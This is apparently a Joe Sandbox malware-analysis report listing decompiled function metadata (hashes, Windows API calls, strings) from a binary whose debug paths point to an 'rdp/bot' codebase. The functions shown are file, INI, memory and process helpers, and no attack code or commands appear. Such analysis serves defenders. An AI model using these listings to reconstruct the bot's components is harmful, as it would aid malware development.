Instruction ID: 9b4d389e2da09c8236a203c378077c0597d23088636034723fa03558920f39ed
Opcode Fuzzy Hash: 2bb8962f953552ca7baee075e8185a83bd9eaab00df9a70688943519e183aaa8
Instruction Fuzzy Hash: C0411372A392868AD750EF64E840969B7F0FB4CB64F904136DE5C83794EB3DE544C790

Function 00007FF7757265E3 Relevance: 19.6, APIs: 4, Strings: 9, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF77572660E
strlen.MSVCRT ref: 00007FF775726637
strlen.MSVCRT ref: 00007FF775726643
strlen.MSVCRT ref: 00007FF775726659

Strings

fs_path_temp, xrefs: 00007FF775726667, 00007FF77572669A, 00007FF7757266CA, 00007FF7757266FA, 00007FF775726734
[I] (%s) -> Done(path=%s,path_sz=%llu), xrefs: 00007FF77572666E
[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x), xrefs: 00007FF77572673B
(path != NULL), xrefs: 00007FF775726693
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF77572668C, 00007FF7757266BC, 00007FF7757266EC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757266A1, 00007FF7757266D1, 00007FF775726701
NULL, xrefs: 00007FF77572676D
(path_sz != NULL), xrefs: 00007FF7757266C3
((*path_sz) > 0), xrefs: 00007FF7757266F3

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strlen
String ID: ((*path_sz) > 0)$(path != NULL)$(path_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,path_sz=%llu)$fs_path_temp
API String ID: 39653677-3302659514
Opcode ID: f89d6af64812923fc6faff55ac4fe52c092536c964cfd2e278180fbf8889cd9d
Instruction ID: 50fec7ffd485a48090ab3e14a8d00ec3a07cddfb284ac4e832691dc26c512c83
Opcode Fuzzy Hash: f89d6af64812923fc6faff55ac4fe52c092536c964cfd2e278180fbf8889cd9d
Instruction Fuzzy Hash: C7415B63D386C784FA24BF55A8046B4A261BF48F54FD88133D94D0B695EF3CA906C3E0

Function 00007FF77572A3E1 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 89memorystringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF77572A4A6
GetProcessHeap.KERNEL32 ref: 00007FF77572A4B4
HeapAlloc.KERNEL32 ref: 00007FF77572A4C5
strlen.MSVCRT ref: 00007FF77572A4E3
GetProcessHeap.KERNEL32 ref: 00007FF77572A511
HeapFree.KERNEL32 ref: 00007FF77572A522

Strings

(buf_sz != NULL), xrefs: 00007FF77572A47D
mem_alloc, xrefs: 00007FF77572A530
(buf != NULL), xrefs: 00007FF77572A44D
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF77572A537
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF77572A446, 00007FF77572A476
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF77572A45B, 00007FF77572A48B
ini_get_bytes, xrefs: 00007FF77572A454, 00007FF77572A484

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Heap$Processstrlen$AllocFree
String ID: (buf != NULL)$(buf_sz != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Memory allocation failed(size=%llu)$ini_get_bytes$mem_alloc
API String ID: 1318626975-3964590784
Opcode ID: 6081a1e7cbb9f0403e3b78aaba03f0aa28fa7ba909b38010743c373d6169abda
Instruction ID: f86ef825bd149197edf92f8060c9675d79e51bc410cfb2199a2c0d0116d552ec
Opcode Fuzzy Hash: 6081a1e7cbb9f0403e3b78aaba03f0aa28fa7ba909b38010743c373d6169abda
Instruction Fuzzy Hash: 9E315F23A38A8785FA21BF15E8043A5B360EF48FA4FE84031DA4D47695DF7CE80583E0

Function 00007FF775723B64 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF775723C3E

Part of subcall function 00007FF775723909: GetFileAttributesA.KERNEL32 ref: 00007FF77572392A

SetFileAttributesA.KERNEL32 ref: 00007FF775723BAB

Strings

fs_attr_set, xrefs: 00007FF775723BD7, 00007FF775723C02, 00007FF775723C4E, 00007FF775723D1D, 00007FF775723D83
[E] (%s) -> SetFileAttributesA failed(path=%s,gle=%lu), xrefs: 00007FF775723C55
(path != NULL), xrefs: 00007FF775723BD0
[D] (%s) -> Done(path=%s,attr=%08lx), xrefs: 00007FF775723D8A
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF775723BC9, 00007FF775723BF4
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775723BDE, 00007FF775723C09
NULL, xrefs: 00007FF775723D74
(attr != NULL), xrefs: 00007FF775723BFB
[E] (%s) -> Failed(path=%s,attr=%08lx,err=%08x), xrefs: 00007FF775723D24

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: AttributesFile$ErrorLast
String ID: (attr != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Done(path=%s,attr=%08lx)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,attr=%08lx,err=%08x)$[E] (%s) -> SetFileAttributesA failed(path=%s,gle=%lu)$fs_attr_set
API String ID: 365566950-3085771803
Opcode ID: 7242cc130f0a2a6716c48d4539f61c61cca49a426935c6e5f1a836722729b15a
Instruction ID: a61f4284591f461ecc900cc708a5826c31f31df2e738979dc7a941b84336c955
Opcode Fuzzy Hash: 7242cc130f0a2a6716c48d4539f61c61cca49a426935c6e5f1a836722729b15a
Instruction Fuzzy Hash: 09514163A3C68B85FA31BB14E4402B9F270EF08F54FE04132D95E466D5DE2CE985D7A1

Function 00007FF775726263 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 113fileCOMMON

Download Yara Rule

APIs

UnlockFileEx.KERNEL32 ref: 00007FF7757262AB
CloseHandle.KERNEL32 ref: 00007FF7757262BC

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

GetLastError.KERNEL32 ref: 00007FF775726372

Strings

[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu), xrefs: 00007FF775726387
[I] (%s) -> Done(lock=%p), xrefs: 00007FF7757262CC
fs_file_unlock, xrefs: 00007FF7757262C5, 00007FF7757262FA, 00007FF77572632B, 00007FF775726356, 00007FF775726380
[E] (%s) -> Failed(lock=%p,err=%08x), xrefs: 00007FF77572635D
((*lock) != INVALID_HANDLE_VALUE), xrefs: 00007FF775726324
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7757262EC, 00007FF77572631D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775726301, 00007FF775726332
(lock != NULL), xrefs: 00007FF7757262F3

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CloseErrorFileHandleLastUnlockfflushfwrite
String ID: ((*lock) != INVALID_HANDLE_VALUE)$(lock != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(lock=%p,err=%08x)$[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu)$[I] (%s) -> Done(lock=%p)$fs_file_unlock
API String ID: 497672076-1436771859
Opcode ID: a9e3d4688f2cef7a7f1a8b99a33de268830b997e71251a35792dd052a4fc329f
Instruction ID: b3b2ae7f712790589166d55c2729a9390d35cd3d1ab3bde972126b0cf36bc046
Opcode Fuzzy Hash: a9e3d4688f2cef7a7f1a8b99a33de268830b997e71251a35792dd052a4fc329f
Instruction Fuzzy Hash: E9418163F3C5C780FA34B715E840AB8E661EF58F78F908233C85E075D69E2CA64583A1

Function 00007FF775728008 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF775728019
GetProcessHeap.KERNEL32 ref: 00007FF77572804F
HeapAlloc.KERNEL32 ref: 00007FF775728063
wcslen.MSVCRT ref: 00007FF775728080
GetProcessHeap.KERNEL32 ref: 00007FF775728093
HeapAlloc.KERNEL32 ref: 00007FF7757280A7
memcpy.MSVCRT ref: 00007FF7757280CF

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

Part of subcall function 00007FF7757214E2: EnterCriticalSection.KERNEL32 ref: 00007FF7757215B3
Part of subcall function 00007FF7757214E2: LeaveCriticalSection.KERNEL32 ref: 00007FF7757215DB
Part of subcall function 00007FF7757214E2: CopyFileA.KERNEL32 ref: 00007FF775721638

GetProcessHeap.KERNEL32 ref: 00007FF775728114
HeapFree.KERNEL32 ref: 00007FF775728125

Strings

mem_alloc, xrefs: 00007FF7757280DF, 00007FF7757280FA
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7757280E6, 00007FF775728101

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Heap$Process$AllocCriticalFileSection$AttributesCopyEnterFreeLeavefflushfwritememcpywcslen
String ID: [E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc
API String ID: 4155868088-3920367287
Opcode ID: a410fe2675b68344c60de0e5381ea19adf8115199d6b880d561270e1d133c346
Instruction ID: 59c0dc6c4b5563b0e5b764fd0236efba6d7c9a9f2004870b06d9d9bcf4a315a2
Opcode Fuzzy Hash: a410fe2675b68344c60de0e5381ea19adf8115199d6b880d561270e1d133c346
Instruction Fuzzy Hash: 87312F33A39B8781F620AB16E440779A361EB4CF90F948035CA8D87795DE2DED85C3A1

Function 00007FF775726A5C Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 73COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF775726A8B
GetLastError.KERNEL32 ref: 00007FF775726A96

Strings

(path != NULL), xrefs: 00007FF775726B44
fs_module_path, xrefs: 00007FF775726AAE, 00007FF775726AE7, 00007FF775726B1B, 00007FF775726B4B, 00007FF775726B7E
wfpblk.lock, xrefs: 00007FF775726A5C
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF775726B0D, 00007FF775726B3D, 00007FF775726B70
[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu), xrefs: 00007FF775726AB5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775726B22, 00007FF775726B52, 00007FF775726B85
(path_sz != NULL), xrefs: 00007FF775726B77
(hnd != NULL), xrefs: 00007FF775726B14
[E] (%s) -> Failed(hnd=0x%p,err=%08x), xrefs: 00007FF775726AEE

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: (hnd != NULL)$(path != NULL)$(path_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(hnd=0x%p,err=%08x)$[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu)$fs_module_path$wfpblk.lock
API String ID: 2776309574-2006444783
Opcode ID: 3ec3a1a2160d6be2ce13506925b4cad43276911a0ebe2d886f62c5db007175f7
Instruction ID: 54300531c8099f3b9e305f8dd66d5a11a9befcdd7f9d5fd1f222314f9f76b6de
Opcode Fuzzy Hash: 3ec3a1a2160d6be2ce13506925b4cad43276911a0ebe2d886f62c5db007175f7
Instruction Fuzzy Hash: 38313063D3868B41FA21BB15ED047B4A261FF0CB68FD48032D94C575A1EE7CA905C3E0

Function 00007FF775725923 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 161fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF775725969
GetFileSize.KERNEL32 ref: 00007FF77572598C
CloseHandle.KERNEL32 ref: 00007FF7757259AE
GetLastError.KERNEL32 ref: 00007FF775725A34
GetLastError.KERNEL32 ref: 00007FF775725AFA

Strings

fs_file_size, xrefs: 00007FF7757259EA, 00007FF775725A1A
(path != NULL), xrefs: 00007FF7757259E3
(size != NULL), xrefs: 00007FF775725A13
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7757259DC, 00007FF775725A0C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757259F1, 00007FF775725A21

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleSize
String ID: (path != NULL)$(size != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_size
API String ID: 3555958901-1687387729
Opcode ID: fd151222f5d4c5f7e3f4df75847713eb03ceb41bed176baa3ddcab5fe5ceaf11
Instruction ID: c258f05009ad05de79966379fe6b776af0a176be1eb9f637e1b3f7b70fbbf17d
Opcode Fuzzy Hash: fd151222f5d4c5f7e3f4df75847713eb03ceb41bed176baa3ddcab5fe5ceaf11
Instruction Fuzzy Hash: DD613E63E3C15382FA206715A4483789270DF4AB74FE94532C8DE9F2D0DE6DAC8496F2

Function 00007FF775723222 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 87synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF775723233
GetLastError.KERNEL32 ref: 00007FF77572328C

Strings

C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF775723264
P, xrefs: 00007FF775723313
, xrefs: 00007FF7757232AE
process_wait, xrefs: 00007FF775723272, 00007FF77572329B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775723279
[E] (%s) -> WaitForSingleObject failed(pid=%lugle=%lu), xrefs: 00007FF7757232A2
(pi != NULL), xrefs: 00007FF77572326B
~, xrefs: 00007FF77572330E

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: $(pi != NULL)$C:/Projects/rdp/bot/codebase/process.c$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> WaitForSingleObject failed(pid=%lugle=%lu)$process_wait$~
API String ID: 1211598281-4195011794
Opcode ID: d47a2119cc9bc1ac397f32e48b0780d6e114215c35cc7dca4d040015413ce490
Instruction ID: cc3c14d449437cff6b5df33758a3c4847b0eac3e79b29fa71b8a0c61e165623d
Opcode Fuzzy Hash: d47a2119cc9bc1ac397f32e48b0780d6e114215c35cc7dca4d040015413ce490
Instruction Fuzzy Hash: B1312B13F3C24B82FA247758A58077892A0EF4CF14FE45133C61F86292DD5EAE8596E2

Function 00007FF775725C44 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF775725CA3
GetFileTime.KERNEL32 ref: 00007FF775725CBE
GetLastError.KERNEL32 ref: 00007FF775725CCC
CloseHandle.KERNEL32 ref: 00007FF775725DEE

Strings

(ctime != NULL) || (atime != NULL) || (mtime != NULL), xrefs: 00007FF775725D33
(path != NULL), xrefs: 00007FF775725D00
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF775725CF9, 00007FF775725D2C
fs_file_stat, xrefs: 00007FF775725D07, 00007FF775725D3A
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775725D0E, 00007FF775725D41

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID: (ctime != NULL) || (atime != NULL) || (mtime != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_stat
API String ID: 2291555494-3647951244
Opcode ID: bcaff1ed5716f6aecfa22b25b58760706ceabae7ece6734b36facb5e6cad9157
Instruction ID: 359694d8ca56fc255d983528c7f8ed38d7407e33c7e16c92e73ed3d81606b33d
Opcode Fuzzy Hash: bcaff1ed5716f6aecfa22b25b58760706ceabae7ece6734b36facb5e6cad9157
Instruction Fuzzy Hash: 00513063D3C29286FB747B119948379A260EF08FA4FD84232D91D5F2D4DE6DAC4583E1

Function 00007FF77572A264 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF77572A300
_strtoui64.MSVCRT ref: 00007FF77572A316
_errno.MSVCRT ref: 00007FF77572A320
_errno.MSVCRT ref: 00007FF77572A32C

Strings

[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF77572A353
(value != NULL), xrefs: 00007FF77572A2D8
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF77572A2E6
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF77572A2D1
ini_get_uint64, xrefs: 00007FF77572A2DF, 00007FF77572A34C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$C:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2210897324
Opcode ID: 54d700338b40c93835d650ec20271891e183ea02f12dfa7793e31885fa8fba64
Instruction ID: 47855f77ce54bf51ac4156fab2030aedc779f72a04b41ba7ec0f7388f264ed63
Opcode Fuzzy Hash: 54d700338b40c93835d650ec20271891e183ea02f12dfa7793e31885fa8fba64
Instruction Fuzzy Hash: 1E21932363868785E211AF14E840BAAB7A1FB48B64F844032ED4C47654DF7DD985C790

Function 00007FF77572A824 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF77572A8CD
VirtualProtect.KERNEL32 ref: 00007FF77572A935
GetLastError.KERNEL32 ref: 00007FF77572A93F

Strings

Mingw-w64 runtime failure:, xrefs: 00007FF77572A7EB
VirtualProtect failed with code 0x%x, xrefs: 00007FF77572A945
Unknown pseudo relocation protocol version %d., xrefs: 00007FF77572A829
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF77572A8E2
Address %p has no image-section, xrefs: 00007FF77572A885

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuery
String ID: Unknown pseudo relocation protocol version %d.$ VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 637304234-2693646698
Opcode ID: 0313bfd795e33c478de3b3b1d00fed192ebc31b1e7fa87f2c769477b445c50a5
Instruction ID: bf49d17b0ea102109f21a3ed38a964d1466860d58d22eeafdf06f8f454e46675
Opcode Fuzzy Hash: 0313bfd795e33c478de3b3b1d00fed192ebc31b1e7fa87f2c769477b445c50a5
Instruction Fuzzy Hash: 8A319033B39A4286EA10AF11E841569A7B1EF8DFA0F848135DD4C47364DE3CE486C3A0

Function 00007FF775729F70 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 70COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF77572A00E
_errno.MSVCRT ref: 00007FF77572A02C
_errno.MSVCRT ref: 00007FF77572A034

Strings

(value != NULL), xrefs: 00007FF775729FE6
ini_get_uint16, xrefs: 00007FF775729FED, 00007FF77572A055
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF775729FDF
[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF77572A05C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775729FF4

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
